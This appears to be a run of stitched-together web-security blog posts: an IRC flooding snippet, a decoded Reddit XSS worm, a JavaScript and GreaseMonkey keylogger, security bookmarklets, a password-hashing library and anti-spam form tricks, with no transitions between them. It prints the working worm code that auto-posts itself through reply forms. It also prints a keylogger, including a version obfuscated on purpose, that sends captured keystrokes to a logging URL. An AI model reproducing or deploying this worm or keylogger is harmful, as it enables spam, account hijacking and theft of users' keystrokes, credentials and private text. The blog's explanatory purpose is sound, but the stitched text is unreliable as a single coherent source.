You can read the whole story here (and come back afterwards).

TLDR: the channel (through some javascript code) got link spammed in huge numbers.

The code – which you can find in the article I’ve pointed earlier – basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.

What I’ve liked in the code is the way it sends the connection and “payload” to the irc server; via the following (combined) string.

x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';

And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.

Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.

Nice trick, I’ll remember it next time I’ll have to do a string repeat.

And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.

IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):

Freenode is run by morons who can’t read IRCD config files. It is that simple.

Instead of reading the docs, freenode is switching to another IRCD to solve this “problem”. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.

But no, freenode has historically been run by people who don’t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.

Also firewalling with a pattern match on POST would’ve solved these problems too. But freenode admins are not the brightest admins.

And all of this because a Reddit user once owned a Digg user…. I can’t find the picture!

The (decoded) code of the worm is the following:

// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i<e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i<e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i<e.length;i++)
    if(e[i].innerHTML=='save'&&e[i].style.display!='none')
        $(e[i]).click();

In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I’d be more than happy.

If not, we’ll have an unsolved mystery :)

UPDATE: worm author has happily shared its way of evading the filter.

UPDATE 2: post about the bug on the reddit blog.

console.time("first");
// some javascript code
console.timeEnd("first");

Another way would be the one which ppk suggested on his blog.

function testIt() {
    var startTime = new Date().getTime();

    // actual DOM functionality to be tested goes here

    setTimeout(function () {
        var endTime = new Date().getTime();
        var result = (endTime-startTime)/1000;
        // print result
    },10)
}

The reason why the result is printed through a different function set to run on timeout is:

(…) some browsers only applies the result of the test (i.e. the changes in the DOM you want to test) to the screen after the function has ended entirely. (…) The correct way of conducting this test is setting a timeout for reading out the end time. The function ends when the in-memory DOM manipulation has been done, which allows the browser to apply the changes.

If that’s the case, we could also use the following function for benchmarking Javascript code (a more flexible version):

function benchmark(func) {
    var startTime = new Date().getTime();
    func();
    var endTime = new Date().getTime();
    return (endTime-startTime)/1000;
}

// as for usage
time = benchmark(function() {
    // javascript code to benchmark
});

It is completely unrelated to any aspect of security, but there are some topics that just make me blog about… Anyway, very soon I’ll post on, have a few projects I’m working on lately.

Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was specially thought for a post). First of all this was the starting point of it, a.k.a. typical javascript keylogger:

var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
	keys = '';
}, 1000);

As you can see from the code a javascript keylogger is quite simple. Attach a function to the key pressing event, extract the character (the code of it) in the event and save it into a variable. Also declare a function (within an interval) that will send the logged keys to the backend which will save it into file/database.

As malefic as it seems you should be real lucky to succeed in using it as a relevant keylogger. It would be a good module in an XSS worm. Wanting more from a keylogger, I moved onward to GreaseMonkey which allows me to have a functional keylogger on every website I wish. Most of it it’s the same, difference is that I used GM_setValue/GM_getValue for storing the keys and had to use unsafeWindow for accesing the key pressing event.

GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
	eventobj = window.event?event:e;
	key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
	keys = GM_getValue('keys');
	keys+= String.fromCharCode(key);
	GM_setValue('keys', keys);
}

window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
	GM_setValue('keys', '');
}, 1000);

download/install/view

The next step was to give it a more obfuscated look, just to give a harder life to all those who understand Javascript to the minimum and take a look at the source of the script.

window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
	e=window.event?window.event:e;
	k=e.charCode?e.charCode:e.keyCode;
	k=GM_getValue('q')+strf(k);
	GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);

download/install/view

No, by downloading this you won’t have all your keystrokes logged (unless someone hacked the server and replaced it) because for testing I’ve used a php file on my localhost for logging, and that remained in the examples also.

If you are new at Javascript/Userscripts the following links may be helpful to you: Dive Into GreaseMonkey, GreaseSpot and Javascript eBooks. And yes Userscripts are also available for IE/Opera…

Over the pass time I have collected a bunch of interesting bookmarklets, from which a couple are security oriented, more or less, and which I’d like to share with you.

jsShell – probably one of the most appreciated bookmarklets out there. Upon execution it pops up a window in which you can execute javascript code. Among it’s great features is the props() function which displays the methods/properties of a desired element, object, string, etc.

jsEval – a quick and slick way to run small pieces of javascript code.

jsEnv – useful Bookmarklet/UserScript development environmnent. For running other small scripts, I’d still recommend the jsShell.

modCookie – easy and fast cookie tampering.

formInfo – get the information about all the forms (and it’s fields) in the active page. Has the ability to swap between form methods, and to submit them from the generated page.

formReport – same as formInfo, just less colorfull :). And without the swap and submit features.

formPassword2Text – convert all password input fields to text ones.

formHidden2Text – converts input with type hidden to text.

formNoMax – remove max length restriction.

searchOnGoogle – search website via google

findRedirects – find redirects in links

findEmailLinks – find email links in page.

findLinks – scraps all the links in the page.

searchIP – searches more domains on the same IP address.

checkSecurity – check the crossdomain.xml and robots.txt files.

viewScripts – view the currently included scripts.

viewCSS – view currently included style sheets.

For these and more bookmarklets check them out on… Google -> Bookmarklets… Note: some may not work in other browsers than Firefox, like the jsShell for example…

The next section of the guide is about crawling code, what to look for in JAVA/ASP/JavaSript.

I’ll skip the rest (I’ll let you discover it) and only mention the “example by technical control”, section which I would recommend to any web developer (regardless of language) because It points out every aspect for the following technical controls: authentication, authorization, session management, input/data validation, error handling, secure deployment, cryptographic controls.

That being said, you can read the guide on-line at owasp.org, or download the pdf version from lulu.com.

And ignoring this warning is half as bad as having a sql injection vulnerability. Even if home users no longer are a part in a shared network thus sniffing is highly improbable, companies have LAN’s which would make a sniffing attack possible (if the sysadmin didn’t do his job). Throwing away all your security implementations, password enforcements…

SSL is the solution for this case but isn’t necesarily needed. Here comes in userAtuh. Yes it’s a typo, but who cares how it’s called as long as it does a great job?

UserAtuh is a php/js library used for serverside/client side password encryption, ment to mask the password sent by login forms. You can download it from it’s project page on SourceForge.

How does it work? Actually it’s quite straight forward, but I could better show it’s working by pointing out the key portions of code.

It all starts with the login form with has defined to the on submit event assigned to the setEncryption() function, which: hashes the password, joins it with the username and key and double hashes the result storing it in a hidden input field.

Upon form submision the only two values that are requested are the username and the result of the setEncryption() function. The rest is ignored. Forgot to mention that the setEncryption() function also changes the password from the input field with a substring of its result.

The authentification is done by the function with the same name from the KeyHandler object:

public function authenticate($name,$encodedPass,$sha1=true){
    //get the last key that was generated for this
    //session
    $ip = getenv('REMOTE_ADDR');
    $key  = $this->_dba->getKeyFromDB($ip);

    //check if a user exists with this name
    if ($this->_dba->userExists($name)==false) return false;    	

    //retrive the password for the user
    $pass = $this->_dba->getPass($name);

    //make sure password is hashed
    if (!$sha1) $pass = sha1($pass);

    //create a hashed string from the date collected
    $encoded = sha1(sha1($pass.$name.$key));

    //generate a new key, so the last key won't be usable
    $this->generateKey();

    //check the hashed string with the key sent by the
    //client side
    return ($encodedPass==$encoded);
}

Simple, easy, useful. It’s implementation can take at maximum a couple of minutes. Quick and painless, just as I like ‘em.

Well, enough said about that, the main issue we are facing is how to reduce the spam we get. I’m not talking about email protection, or blog protection; I don’t know how you people consider, but I think Akismet is doing a great job for blogs! I want to talk about those moments when you create a contact/comment page and want to make it spam proof.

Are you human? (CAPTCHA)

It seems to be the solution in many cases. But I’m not talking about making your own CAPTCHA, if you lack the experience. Some did it and it went from ’simple’ to imposible: take a look at RapidShare’s CAPTCHA. Instead I would recommend you to implement reCAPTCHA. Apart from the fact that you can reinitialize a CAPTCHA when you can’t read it, it has playable sound version of it for visualy impaled people. And on top of all this you help digitize old texts. As if that weren’t enough, it protects you from bots that may have surpased the other protection techniques.

The math question = ?

I bet you all have seen it, quite often used in a static equation way. I have also wrote about it on my last home of the blog in the article less spam on blogs. I think that I said enough about it there.

Javascript to the rescue!?

It may seem that the simplest and handier way to protect a form against spam bots may as well be Javascript. We live in a web 2.0 enviroument, full of Javascript effects and only a handful of people have it restricted with NoScript or something of sort. Thus we can safely use javascript as a protection against spam. Why? Because normal bots can’t parse (execute) Javascript code, even crawlers (GoogleBot, YahooBot) parse Javascript code only for obvious links, email addresses, etc.

There are two ways to do a form with Javascript: DOM way and simple dumping way. Simple is better:

<form action="target.php">
  <script type="text/javascript">
    document.write('<in'+'put type="text" name="human" />');
    document.write('<inpu'+'t type="submit" />');
  </script>
</form>

The concatenation of the strings is needed so that the bots can’t match it against there usual input regular expressions. I used this type of protection for displaying my email address on the About page, although could have used MailHide also. Didn’t want to bother my readers that much.

Conclusion

Actually it’s totally up to you to choose one of the above. CAPTCHA would be the best, but in some particular cases there is no need to bother your users so much, check my previous example.

Update: Hide email address in source code